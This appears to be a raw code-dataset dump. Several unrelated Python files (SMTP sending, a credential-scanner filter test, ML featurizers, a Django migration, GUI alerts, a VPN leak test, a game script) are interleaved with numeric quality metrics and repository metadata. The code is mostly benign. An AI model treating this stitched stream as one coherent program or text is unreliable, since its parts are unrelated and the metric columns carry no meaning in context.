smtplib.SMTP( host = smtp_server, port = smtp_port, timeout = 10 ) server.set_debuglevel(10) server.starttls() server.ehlo() server.login(smtp_username, smtp_password) server.sendmail(sender, recipient, content)
29.465347
92
0.646505
359
2,976
5.164345
0.167131
0.080906
0.05178
0.07767
0.653182
0.608954
0.608954
0.608954
0.608954
0.563646
0
0.010724
0.247984
2,976
100
93
29.76
0.817694
0
0
0.67033
0
0
0.042339
0
0
0
0
0
0
0
null
null
0.10989
0.054945
null
null
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
e61467fb9ad5bd9494269ebfda2c8f2762de33e8
953
py
Python
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
17
2021-10-22T00:29:46.000Z
2022-03-21T03:05:56.000Z
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
29
2021-11-05T21:10:51.000Z
2022-03-30T10:41:08.000Z
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
16
2021-11-05T20:39:54.000Z
2022-03-11T00:57:32.000Z
import pytest from credsweeper.filters import ValueFirstWordCheck from tests.test_utils.dummy_line_data import get_line_data class TestValueFirstWordCheck: def test_value_first_word_check_p(self, file_path: pytest.fixture, success_line: pytest.fixture) -> None: line_data = get_line_data(file_path, line=success_line, pattern=r"(?P<value>.*$)") assert ValueFirstWordCheck().run(line_data) is False @pytest.mark.parametrize("line", ["{tokens"]) def test_value_first_word_check_n(self, file_path: pytest.fixture, line: str) -> None: line_data = get_line_data(file_path, line=line, pattern=r"(?P<value>.*$)") assert ValueFirstWordCheck().run(line_data) is True def test_value_first_word_check_none_value_n(self, file_path: pytest.fixture, success_line: pytest.fixture) -> None: line_data = get_line_data(file_path, line=success_line) assert ValueFirstWordCheck().run(line_data) is True
45.380952
120
0.751312
134
953
5.014925
0.291045
0.130952
0.065476
0.075893
0.720238
0.720238
0.563988
0.495536
0.495536
0.443452
0
0
0.140609
953
20
121
47.65
0.820513
0
0
0.142857
0
0
0.040923
0
0
0
0
0
0.214286
1
0.214286
false
0
0.214286
0
0.5
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
e633110da78358f8e3050c235a4e9cd319519873
460
py
Python
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
6
2021-05-02T15:32:20.000Z
2022-02-23T01:39:42.000Z
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
2
2021-12-28T02:57:59.000Z
2022-01-24T14:23:55.000Z
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
4
2021-07-17T03:50:46.000Z
2022-03-17T12:48:30.000Z
""" Two ways for checking model architectures: 1. Use torchsummary. 2. Define your model classes as a BaseModel (instead of a nn.Module), which specifies a __str__() function. """ # from __future__ import print_function # import torch # import torchsummary # device = torch.device("cuda" if torch.cuda.is_available() else "cpu") # model_test = ResNet_UNet() # model_test.to(device) # #torchsummary.summary(model_test, (3, 256, 256)) # print(model_test)
25.555556
71
0.736957
65
460
4.984615
0.661538
0.111111
0
0
0
0
0
0
0
0
0
0.022901
0.145652
460
18
72
25.555556
0.801527
0.93913
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e6341d8b54fc0c1870b2a8b85df66bf165e88655
959
py
Python
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
23
2020-09-08T05:08:46.000Z
2021-08-12T07:16:53.000Z
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
1
2021-12-05T06:15:18.000Z
2021-12-20T08:10:19.000Z
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
2
2021-01-12T06:10:53.000Z
2021-07-24T08:21:59.000Z
import torchvision from torchexpo.modules import ImageClassificationModule def mnasnet0_5(): """MNASNet 0.5 Model pre-trained on ImageNet""" model = torchvision.models.mnasnet0_5(pretrained=True) obj = ImageClassificationModule(model, "MNASNet0_5", model_example="default") return obj # def mnasnet0_75(): # """MNASNet 0.75 Model""" # model = torchvision.models.mnasnet0_75(pretrained=True) # obj = ImageClassificationModule(model, "MNASNet0_75", model_example="default") # return obj def mnasnet1_0(): """MNASNet 1.0 Model pre-trained on ImageNet""" model = torchvision.models.mnasnet1_0(pretrained=True) obj = ImageClassificationModule(model, "MNASNet1_0", model_example="default") return obj # def mnasnet1_3(): # """MNASNet 0.5 Model""" # model = torchvision.models.mnasnet1_3(pretrained=True) # obj = ImageClassificationModule(model, "MNASNet1_3", model_example="default") # return obj
35.518519
84
0.721585
111
959
6.09009
0.243243
0.094675
0.130178
0.248521
0.66716
0.62574
0.254438
0.139053
0
0
0
0.044499
0.156413
959
27
85
35.518519
0.7911
0.513034
0
0.2
0
0
0.075893
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e64adc30b75867f64a38d67dc6a4662ed8a10355
8,337
py
Python
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
12
2019-02-07T16:45:29.000Z
2021-03-15T12:44:07.000Z
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
2
2018-11-22T04:59:10.000Z
2019-12-05T14:22:29.000Z
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
5
2020-12-03T07:18:50.000Z
2022-01-20T09:17:47.000Z
import numpy as np import pandas as pd from functools import reduce from itertools import combinations_with_replacement from amlearn.featurize.base import create_featurizer_backend from amlearn.utils.packing import load_radii from sklearn.base import BaseEstimator, TransformerMixin try: from amlearn.featurize.src import bp_symmfunc except Exception: print("import fortran file bp_symmfunc error!\n") __author__ = "Qi Wang" __email__ = "qiwang.mse@gmail.com" class BPRadialFunction(BaseEstimator, TransformerMixin): def __init__(self, bds, atom_type_symbols, pbc=None, delta_r=0.2, n_r=50, cutoff=6.5, id_col='id', type_col='type', coords_cols=None, backend=None, verbose=1, save=True, output_path=None, output_file_prefix='feature_bp_radial_function', print_freq=1000): self.bds = bds self.pbc = np.array([1, 1, 1]) if pbc is None else pbc self.atom_type_symbols = atom_type_symbols self.delta_r = delta_r self.n_r = n_r self.cutoff = cutoff self.id_col = id_col self.type_col = type_col self.coords_cols = ["x", "y", "z"] if coords_cols is None \ else coords_cols self.save = save self.verbose = verbose self.backend = backend if backend is not None \ else create_featurizer_backend(output_path=output_path) self.output_file_prefix = output_file_prefix self.print_freq = print_freq @classmethod def default_from_system(cls, bds, atom_type_symbols, ref_atom_number, delta_r=0.1, n_r=50, cutoff=None, pbc=None, sigma_AA=None, radii=None, radius_type="miracle_radius", id_col='id', type_col='type', coords_cols=None, backend=None, verbose=1, save=True, output_path=None, output_file_prefix='feature_bp_radial_function', print_freq=1000): radii = load_radii() if radii is None else radii if sigma_AA is None: sigma_AA = \ radii[str(ref_atom_number)][radius_type] * 2 delta_r = sigma_AA * delta_r cutoff = (2.5 * sigma_AA) if cutoff is None else cutoff return cls(bds=bds, atom_type_symbols=atom_type_symbols, pbc=pbc, delta_r=delta_r, n_r=n_r, cutoff=cutoff, id_col=id_col, type_col=type_col, coords_cols=coords_cols, backend=backend, verbose=verbose, save=save, output_path=output_path, output_file_prefix=output_file_prefix, print_freq=print_freq) def fit_transform(self, X, y=None, **fit_params): return self.transform(X) def transform(self, X): n_atoms = len(X) atom_ids = X[[self.id_col]].values atom_types = X[[self.type_col]].values atom_coords = X[self.coords_cols].values radial_funcs = np.zeros( (n_atoms, self.n_r * len(self.atom_type_symbols)), dtype=np.float) radial_funcs = bp_symmfunc.bp_radial( center_atom_ids=atom_ids, center_atom_coords=atom_coords, atom_ids=atom_ids, atom_types=atom_types, atom_type_symbols=self.atom_type_symbols, atom_coords=atom_coords, pbc=self.pbc, bds=self.bds, cutoff=self.cutoff, delta_r=self.delta_r, n_r=self.n_r, radial_funcs=radial_funcs, print_freq=self.print_freq) radial_funcs_df = pd.DataFrame(radial_funcs, index=atom_ids.transpose().tolist()[0], columns=self.get_feature_names()) if self.save: self.backend.save_featurizer_as_dataframe( output_df=radial_funcs_df, name=self.output_file_prefix) return radial_funcs_df def get_feature_names(self): return reduce(list.__add__, ([["{}_{:.3f}".format(str(t), i) for i in np.arange(0, self.n_r) * self.delta_r] for t in self.atom_type_symbols])) class BPAngularFunction(BaseEstimator, TransformerMixin): def __init__(self, bds, atom_type_symbols, ksaais, lambdas, zetas, pbc=None, cutoff=6.5, id_col='id', type_col='type', coords_cols=None, backend=None, verbose=1, save=True, output_path=None, output_file_prefix='feature_bp_angular_function', print_freq=1000): self.bds = bds self.atom_type_symbols = atom_type_symbols self.ksaais = ksaais self.lambdas = lambdas self.zetas = zetas self.pbc = np.array([1, 1, 1]) if pbc is None else pbc self.cutoff = cutoff self.id_col = id_col self.type_col = type_col self.coords_cols = ["x", "y", "z"] if coords_cols is None \ else coords_cols self.save = save self.verbose = verbose self.backend = backend if backend is not None \ else create_featurizer_backend(output_path=output_path) self.output_file_prefix = output_file_prefix self.print_freq = print_freq @classmethod def default_from_system(cls, ref_atom_number, atom_type_symbols, ksaais, lambdas, zetas, bds, cutoff=None, pbc=None, sigma_AA=None, radii=None, radius_type="miracle_radius", id_col='id', type_col='type', coords_cols=None, backend=None, verbose=1, save=True, output_path=None, output_file_prefix='feature_bp_angular_function', print_freq=1000): radii = load_radii() if radii is None else radii sigma_AA = sigma_AA if sigma_AA is not None else \ radii[str(ref_atom_number)][radius_type] * 2 ksaais = ksaais * sigma_AA # in this case, ksaais are in the unit of sigma_AA cutoff = (2.5 * sigma_AA) if cutoff is None else cutoff return cls(bds=bds, atom_type_symbols=atom_type_symbols, ksaais=ksaais, lambdas=lambdas, zetas=zetas, pbc=pbc, cutoff=cutoff, id_col=id_col, type_col=type_col, coords_cols=coords_cols, backend=backend, verbose=verbose, save=save, output_path=output_path, output_file_prefix=output_file_prefix, print_freq=print_freq) def fit_transform(self, X, y=None, **fit_params): return self.transform(X) def transform(self, X): n_atoms = len(X) n_atom_types = len(self.atom_type_symbols) atom_ids = X[[self.id_col]].values atom_types = X[[self.type_col]].values atom_coords = X[self.coords_cols].values angular_funcs = \ np.zeros((n_atoms, int(n_atom_types * (n_atom_types + 1) / 2 * len(self.ksaais))), dtype=np.float) angular_funcs = bp_symmfunc.bp_angular( center_atom_ids=atom_ids, center_atom_coords=atom_coords, atom_ids=atom_ids, atom_types=atom_types, atom_type_symbols=self.atom_type_symbols, atom_coords=atom_coords, pbc=self.pbc, bds=self.bds, ksaais=self.ksaais, lambdas=self.lambdas, zetas=self.zetas, cutoff=self.cutoff, angular_funcs=angular_funcs, print_freq=self.print_freq) angular_funcs_df = pd.DataFrame(angular_funcs, index=atom_ids.transpose().tolist()[0], columns=self.get_feature_names()) if self.save: self.backend.save_featurizer_as_dataframe( output_df=angular_funcs_df, name=self.output_file_prefix) return angular_funcs_df def get_feature_names(self): return reduce(list.__add__, ([["{}_{}_{:.3f}_{:.3f}_{:.3f}".format( str(t1), str(t2), i, j, k) for i, j, k in zip(self.ksaais, self.lambdas, self.zetas)] for t1, t2 in combinations_with_replacement( self.atom_type_symbols, 2)]))
43.649215
86
0.602975
1,083
8,337
4.33241
0.136657
0.034101
0.063939
0.032396
0.717178
0.700128
0.677749
0.677749
0.62873
0.604007
0
0.010038
0.306945
8,337
190
87
43.878947
0.802008
0.005757
0
0.581818
0
0
0.032098
0.015929
0
0
0
0
0
1
0.060606
false
0
0.054545
0.024242
0.175758
0.066667
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e651710f5b0db68c83085e837c5848f7e779cafa
2,737
py
Python
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-analytics
3d528670a3dff24bfa981e4071feac9a6e995176
[ "MIT" ]
2
2019-03-11T22:28:11.000Z
2020-02-20T22:04:20.000Z
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-Analytics
3d528670a3dff24bfa981e4071feac9a6e995176
[ "MIT" ]
34
2019-12-18T09:44:23.000Z
2022-03-11T23:26:10.000Z
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-Insights
f09af4246288fa2611163a503b106570c0776b8e
[ "MIT" ]
null
null
null
# Generated by Django 2.2 on 2020-10-23 14:04 import core.utils import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='CourseModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(default='none', max_length=255)), ('provider', models.CharField(default='none', max_length=255)), ('award', models.CharField(default='none', max_length=255)), ('ects_credits', models.CharField(default='0', max_length=255)), ('mode', models.CharField(default='none', max_length=255)), ('deadline', models.CharField(default='1/1/2022', max_length=255)), ('start_date', models.CharField(default='1/1/2022', max_length=255)), ('end_date', models.CharField(default='1/1/2023', max_length=255)), ('nfq', models.CharField(default='0', max_length=255)), ('ote_flag', models.CharField(default='none', max_length=255)), ('link', models.CharField(default='none', max_length=255)), ('skills', models.CharField(default='none', max_length=255)), ('delivery', models.CharField(default='none', max_length=255)), ], ), migrations.CreateModel( name='UpdateModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('status', models.CharField(default='OK', max_length=254)), ('updated', models.DateTimeField(default=datetime.datetime(2020, 10, 23, 15, 4, 44, 331141))), ], ), migrations.CreateModel( name='MyProfile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('position', models.CharField(blank=True, default='guest', max_length=254)), ('image', models.ImageField(default='portraits/default.jpg', upload_to=core.utils.content_file_name)), ('owner', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'User Profile', 'verbose_name_plural': 'User Profiles', }, ), ]
45.616667
119
0.589697
288
2,737
5.465278
0.350694
0.142948
0.19568
0.132147
0.459339
0.459339
0.439009
0.201398
0.201398
0.150572
0
0.048515
0.261966
2,737
59
120
46.389831
0.730693
0.015711
0
0.288462
1
0
0.113299
0.007801
0
0
0
0
0
1
0
false
0
0.096154
0
0.173077
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e65308be14682be54575159ffe1ac2733f042b3f
2,319
py
Python
GUI/Generic/Alerts.py
gcewing/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
9
2019-07-15T19:03:27.000Z
2021-11-24T19:50:02.000Z
GUI/Generic/Alerts.py
mnabeelp/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
3
2019-09-11T13:22:10.000Z
2020-08-19T20:13:00.000Z
GUI/Generic/Alerts.py
mnabeelp/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
4
2020-02-23T16:50:06.000Z
2022-02-10T07:15:35.000Z
#----------------------------------------------------------------------- # # PyGUI - Alert functions - Generic # #----------------------------------------------------------------------- from GUI import BaseAlertFunctions def alert(kind, prompt, ok_label = "OK", **kwds): """Displays an alert box with one button. Does not return a value. Kind may be 'stop' for conditions preventing continuation, 'caution' for warning messages, 'note' for informational messages, and 'query' for asking a question of the user.""" BaseAlertFunctions.alert(kind, prompt, ok_label, **kwds) def alert2(kind, prompt, yes_label = "Yes", no_label = "No", **kwds): """Displays an alert with two buttons. Returns 1 if the first button is pressed, 0 if the second button is pressed. The 'default' and 'cancel' arguments specify which buttons, if any, are activated by the standard keyboard equivalents, and take the values 1, 0 or None.""" return BaseAlertFunctions.alert2(kind, prompt, yes_label, no_label,**kwds) def alert3(kind, prompt, yes_label = "Yes", no_label = "No", other_label = "Cancel", **kwds): """Displays an alert with 3 buttons. Returns 1 if the first button is pressed, 0 if the second button is pressed, and -1 if the third button is pressed. The 'default' and 'cancel' arguments specify which buttons, if any, are activated by the standard keyboard equivalents, and take the values 1, 0, -1 or None.""" return BaseAlertFunctions.alert3(kind, prompt, yes_label, no_label, other_label, **kwds) def stop_alert(*args, **kwds): """Displays a 1-button alert of type 'stop'. See alert().""" alert('stop', *args, **kwds) def note_alert(*args, **kwds): """Displays a 1-button alert of type 'note'. See alert().""" alert('note', *args, **kwds) def confirm(*args, **kwds): """Displays a 2-button alert of type 'caution'. See alert2().""" return alert2('caution', *args, **kwds) def ask(*args, **kwds): """Displays a 2-button alert of type 'query'. See alert2().""" return alert2('query', *args, **kwds) def confirm_or_cancel(*args, **kwds): """Displays a 3-button alert of type 'caution'. See alert3().""" return alert3('caution', *args, **kwds) def ask_or_cancel(*args, **kwds): """Displays a 3-button alert of type 'query'. See alert3().""" return alert3('query', *args, **kwds)
36.234375
89
0.65373
326
2,319
4.595092
0.254601
0.064085
0.064085
0.068091
0.610814
0.506676
0.449266
0.449266
0.409212
0.362483
0
0.014713
0.150065
2,319
63
90
36.809524
0.745307
0.574386
0
0.090909
0
0
0.053996
0
0
0
0
0
0
1
0.409091
false
0
0.045455
0
0.727273
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
e65bdebbc2839c76277d355b4f417ea23b3161e1
3,009
py
Python
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
5
2020-09-16T21:22:59.000Z
2021-08-12T01:03:31.000Z
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
1
2021-06-25T10:35:19.000Z
2021-06-27T08:17:07.000Z
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
1
2021-08-12T01:03:48.000Z
2021-08-12T01:03:48.000Z
import numpy as np import keras as keras import keras.backend as K import sys sys.path.append('..') from attribution.methods import InternalInfluence, AumannShapley from test_utils import run_test def zero_weight(): inp = keras.layers.Input(shape=(10,)) outp = keras.layers.Dense(1, kernel_initializer=keras.initializers.Zeros(), bias_initializer=keras.initializers.Zeros())(inp) m = keras.Model(inp, outp) m.compile(optimizer='sgd', loss='mse') x = np.ones(shape=(1,10), dtype=np.float32) attr = InternalInfluence(m, 0).compile().get_attributions(x) return attr.sum() == 0 def one_weight(): inp = keras.layers.Input(shape=(10,)) outp = keras.layers.Dense(1, kernel_initializer=keras.initializers.Ones(), bias_initializer=keras.initializers.Zeros())(inp) m = keras.Model(inp, outp) m.compile(optimizer='sgd', loss='mse') x = np.ones(shape=(1,10), dtype=np.float32) attr = InternalInfluence(m, 0).compile().get_attributions(x) return attr.sum() == 10 def ascending_feats(): inp = keras.layers.Input(shape=(10,)) outp = keras.layers.Dense(1, kernel_initializer=keras.initializers.Ones(), bias_initializer=keras.initializers.Zeros())(inp) m = keras.Model(inp, outp) m.compile(optimizer='sgd', loss='mse') x = np.arange(0, 10, 1, dtype=np.float32) attr = InternalInfluence(m, 0).compile().get_attributions(x) return (attr.argsort() == list(range(10))).all() def basic_twoclass_model(): inp = keras.layers.Input(shape=(10,)) outp = keras.layers.Dense(10, kernel_initializer=keras.initializers.Ones(), bias_initializer=keras.initializers.Zeros())(inp) outp = keras.layers.Dense(2, kernel_initializer=keras.initializers.Ones(), bias_initializer=keras.initializers.Zeros())(outp) outp = keras.layers.Activation('softmax')(outp) m = keras.Model(inp, outp) m.compile(optimizer='sgd', loss='categorical_crossentropy') Wi = m.layers[1].get_weights()[0] Wi[:5,:5] = 0 Wi[5:,5:] = 0 K.set_value(m.layers[1].weights[0], Wi) Wf = m.layers[2].get_weights()[0] Wf[:5,0] = 0 Wf[5:,1] = 0 K.set_value(m.layers[2].weights[0], Wf) return m def twoclass_model_internal_zero(): m = basic_twoclass_model() x = np.ones(shape=(1,10), dtype=np.float32) x0 = np.array(x, copy=True) x0[0,:5] = 0 x1 = np.array(x, copy=True) x1[0,5:] = 0 attr0 = InternalInfluence(m, 1).compile().get_attributions(x0) attr1 = InternalInfluence(m, 1).compile().get_attributions(x1) return attr0[0,5:].sum() + attr1[0,:5].sum() == 0 def twoclass_model_internal_nonzero(): m = basic_twoclass_model() x = np.ones(shape=(1,10), dtype=np.float32) x0 = np.array(x, copy=True) x0[0,:5] = 0 x1 = np.array(x, copy=True) x1[0,5:] = 1 attr0 = InternalInfluence(m, 1).compile().get_attributions(x0) attr1 = InternalInfluence(m, 1).compile().get_attributions(x1) return attr0[0,:5].sum() + attr1[0,5:].sum() > 0 def all_tests(): run_test(zero_weight) run_test(one_weight) run_test(ascending_feats) run_test(twoclass_model_internal_zero) run_test(twoclass_model_internal_nonzero)
28.932692
126
0.713194
469
3,009
4.460554
0.17484
0.052581
0.133843
0.094646
0.739006
0.707457
0.691205
0.691205
0.691205
0.691205
0
0.042569
0.110003
3,009
103
127
29.213592
0.738611
0
0
0.438356
0
0
0.017952
0.007979
0
0
0
0
0
1
0.09589
false
0
0.082192
0
0.260274
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e65f8933b4881ed1c3491a2a75f43fda9efbc85e
886
py
Python
tests/test_lm/serialtestclass.py
DeMarcoLab/piescope
ea7acf5b198b91e4923097711d55ca038763eba2
[ "MIT" ]
4
2019-06-07T07:28:48.000Z
2022-02-23T23:02:08.000Z
tests/test_lm/serialtestclass.py
DavidDierickx/piescope-1
fb216c294917423210af02da2ca2f1d0c71fc5f1
[ "MIT" ]
44
2019-06-09T14:32:16.000Z
2022-03-25T06:04:20.000Z
tests/test_lm/serialtestclass.py
DeMarcoLab/piescope
ea7acf5b198b91e4923097711d55ca038763eba2
[ "MIT" ]
3
2019-06-07T07:31:09.000Z
2021-03-01T10:47:24.000Z
# Testing serial ports # https://faradayrf.com/unit-testing-pyserial-code/ # Import modules import serial class SerialTestClass(object): """A mock serial port test class""" def __init__(self): """Creates a mock serial port which is a loopback object""" self.device = "test" self._port = "loop://" self._timeout = 0 self._baudrate = 115200 self.serialPort = \ serial.serial_for_url(url=self._port, timeout=self._timeout, baudrate=self._baudrate) def __enter__(self, *args, **kwargs): pass def __exit__(self, *args, **kwargs): pass def open(self, *args, **kwargs): pass def close(self, *args, **kwargs): pass def read(self, command): pass def write(self, command): pass
22.717949
67
0.555305
97
886
4.865979
0.453608
0.074153
0.118644
0.152542
0.177966
0
0
0
0
0
0
0.011844
0.332957
886
38
68
23.315789
0.786802
0.191874
0
0.26087
0
0
0.015647
0
0
0
0
0
0
1
0.304348
false
0.26087
0.043478
0
0.391304
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
e6691b21adba170953097043b73e85ebf20c9d0c
1,095
py
Python
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# Created by MechAviv # Kinesis Introduction # Map ID :: 331003200 # Subway :: Subway Car #3 JAY = 1531001 GIRL = 1531067 sm.spawnNpc(GIRL, 699, 47) sm.showNpcSpecialActionByTemplateId(GIRL, "summon") sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700304, 300, 57, False) sm.spawnMob(2700304, 300, 57, False) sm.spawnMob(2700304, 300, 57, False) sm.spawnMob(2700304, 300, 57, False) sm.spawnMob(2700304, 300, 57, False) sm.spawnMob(2700305, 350, 57, False) sm.spawnMob(2700305, 350, 57, False) sm.spawnMob(2700305, 350, 57, False) sm.spawnMob(2700305, 350, 57, False) sm.spawnMob(2700305, 350, 57, False) sm.setSpineObjectEffectPlay(True, "subway_bg", "outside", True, False) sm.setSpineObjectEffectPlay(True, "subway_main", "outside", True, False) sm.unlockForIntro() sm.playSound("Sound/Field.img/flowervioleta/wink") sm.cameraSwitchNormal("go_next", 1000) sm.addPopUpSay(JAY, 2000, "#face10#Watch out, there are more on the way!", "")
30.416667
78
0.738813
158
1,095
5.101266
0.360759
0.147643
0.167494
0.295285
0.598015
0.504963
0.504963
0.504963
0.504963
0.504963
0
0.224615
0.109589
1,095
36
78
30.416667
0.602051
0.075799
0
0.6
0
0
0.125124
0.033764
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c6fe64a209d4ff302fe9abeeee74602440f4283d
1,492
py
Python
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
219
2017-12-12T09:42:46.000Z
2022-03-13T08:25:13.000Z
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
11
2017-12-14T08:14:51.000Z
2021-08-09T18:37:45.000Z
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
45
2017-12-14T07:26:36.000Z
2022-03-11T09:36:56.000Z
from desktop_local_tests.local_packet_capture_test_case_with_disrupter import LocalPacketCaptureTestCaseWithDisrupter from desktop_local_tests.macos.macos_reorder_services_disrupter import MacOSDNSReorderServicesDisrupter class TestMacOSPacketCaptureDisruptReorderServices(LocalPacketCaptureTestCaseWithDisrupter): '''Summary: Tests whether traffic leaving the user's device leaks outside of the VPN tunnel when the network service order is changed. Details: This test will connect to VPN then swap the priority of the primary and secondary network services. The test looks for leaking traffic once the service order is changed. Discussion: It's not 100% clear if, in the real world, services can change their order without user involvement. It is still however a good stress test of the application. Weaknesses: Packet capture tests can be noisy. Traffic can be detected as a leak but in actual fact may not be. For example, traffic might go to a server owned by the VPN provider to re-establish connections. In general this test is best used for manual exploring leaks rather than for automation. Scenarios: Requires two active network services. TODO: Consider a variant which changes the network "Location". This is much more likely to be something a user might do. ''' def __init__(self, devices, parameters): super().__init__(MacOSDNSReorderServicesDisrupter, devices, parameters)
37.3
117
0.776139
199
1,492
5.713568
0.60804
0.013193
0.028144
0.036939
0
0
0
0
0
0
0
0.002481
0.189678
1,492
39
118
38.25641
0.937965
0.644102
0
0
0
0
0
0
0
0
0
0.025641
0
1
0.2
false
0
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
2
0524dbe9cf38fe4b01019bd838b879c16875a116
1,004
py
Python
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
